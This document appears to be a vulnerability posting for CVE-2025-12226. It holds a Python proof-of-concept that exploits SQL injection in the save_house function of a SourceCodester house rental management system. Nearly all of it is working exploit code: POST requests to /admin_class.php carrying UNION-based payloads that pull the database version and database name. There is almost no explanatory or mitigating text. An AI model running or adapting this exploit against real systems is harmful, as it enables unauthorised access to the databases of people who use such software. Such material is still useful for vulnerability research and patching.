CVE-2025-12226 SourceCodester房屋租赁系统save_house函数SQL注入漏洞

import requests import sys # CVE-2025-12226 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Endpoint: /admin_class.php (save_house function) TARGET_URL = "http://target.com/admin_class.php" def exploit_sqli(house_no_payload): """Send malicious house_no parameter to trigger SQL injection""" data = { 'save_house': '1', 'house_no': house_no_payload, # Add other required parameters 'price': '1000', 'description': 'Test property' } try: response = requests.post(TARGET_URL, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Example: Extract database version using UNION-based injection def extract_db_version(): payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL---" result = exploit_sqli(payload) print(f"Database version extraction result: {result}") # Example: Extract current database name def extract_db_name(): payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL---" result = exploit_sqli(payload) print(f"Database name extraction result: {result}") if __name__ == "__main__": print("CVE-2025-12226 SQL Injection PoC") print("Target: Best House Rental Management System 1.0") extract_db_version() extract_db_name()